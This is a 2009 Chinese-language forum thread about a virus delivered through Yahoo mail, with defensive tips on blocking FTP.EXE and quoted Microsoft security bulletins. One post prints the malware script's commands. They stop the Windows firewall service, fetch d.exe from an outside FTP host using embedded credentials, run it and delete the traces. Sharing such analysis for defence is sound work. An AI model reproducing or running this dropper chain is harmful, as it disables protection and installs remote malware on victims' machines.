Yahoo 信箱寄過來的病毒檔，是何種病毒?

**cabletest** · 2009-10-16, 10:44 AM

這台主機在 isp 是方電訊哩.. 那ISP沒責任通知客戶可能主機被當木馬或行為異常嗎

**sylovanas** · 2009-10-19, 03:57 PM

r.vbs 動作

cmd /c net stop sharedaccess
echo o www.g03z.com>i.txt
echo aa33>>i.txt
echo bb33>>i.txt
echo get d d.exe>>i.txt
echo bye>>i.txt
ftp -s:i.txt
del i.txt
d.exe
del ?.vbs
del d.exe
start http://tw.match.yahoo.com/
del ? ?.bat 0

基本上這一陣子的mail lnk病毒只要不允許FTP.EXE執行就可以全檔掉了.

**FYI** · 2009-10-19, 05:25 PM

作者：sylovanas

基本上這一陣子的mail lnk病毒只要不允許FTP.EXE執行就可以全檔掉了.

小弟再也不敢輕忽只有兩三Kbytes 的郵件了, 但是某些同事有時需要造訪外部FTP Server, 所以不能完全禁止FTP, 只能自求多福

**sylovanas** · 2009-10-19, 05:33 PM

或者是將FTP.EXE改名，平常用改名的FTP.EXE作業
像是FTP.EXE => FTP1.EXE
之後使用權限或IFEO或本機安全性原則鎖FTP.EXE不知可不可行？

**FYI** · 2009-10-19, 07:04 PM

Microsoft 安全性摘要報告 (973882)： Microsoft Active Template Library (ATL) 中的弱點可能會允許遠端執行程式碼

依照預設，所有 Microsoft Outlook 及 Microsoft Outlook Express 支援版本都會在 [限制的網站] 區域開啟 HTML 電子郵件訊息。 [限制的網站] 區域可阻止讀取 HTML 電子郵件訊息時使用 Active Scripting 與 ActiveX 控制項，有助於減輕企圖利用這個弱點的攻擊。然而，如果使用者按下電子郵件訊息中的連結，仍有可能因為網頁式攻擊而受此弱點遭利用的影響。
在網頁式攻擊的案例中，攻擊者可架設一個網站，並在其中包含利用此弱點的網頁。此外，受侵害的網站以及接受或存放使用者提供之內容或廣告的網站裡，也可能包含蓄意製作以利用本弱點的內容。但是，攻擊者無法強迫使用者造訪網站，而是引誘使用者自行前往。一般的做法是設法讓使用者按一下電子郵件或 Instant Messenger 訊息中通往攻擊者網站的連結。

Microsoft 安全性公告 MS09-034 - 重大： Internet Explorer 積存安全性更新 (972260)

下載詳細資料： KB972260：Internet Explorer for Windows XP 安全性更新 (for IE6 x86)

**tvirus** · 2009-10-20, 02:06 AM

作者：FYI

Microsoft 安全性摘要報告 (973882)： Microsoft Active Template Library (ATL) 中的弱點可能會允許遠端執行程式碼

依照預設，所有 Microsoft Outlook 及 Microsoft Outlook Express 支援版本都會在 [限制的網站] 區域開啟 HTML 電子郵件訊息。 [限制的網站] 區域可阻止讀取 HTML 電子郵件訊息時使用 Active Scripting 與 ActiveX 控制項，有助於減輕企圖利用這個弱點的攻擊。然而，如果使用者按下電子郵件訊息中的連結，仍有可能因為網頁式攻擊而受此弱點遭利用的影響。
在網頁式攻擊的案例中，攻擊者可架設一個網站，並在其中包含利用此弱點的網頁。此外，受侵害的網站以及接受或存放使用者提供之內容或廣告的網站裡，也可能包含蓄意製作以利用本弱點的內容。但是，攻擊者無法強迫使用者造訪網站，而是引誘使用者自行前往。一般的做法是設法讓使用者按一下電子郵件或 Instant Messenger 訊息中通往攻擊者網站的連結。

Microsoft 安全性公告 MS09-034 - 重大： Internet Explorer 積存安全性更新 (972260)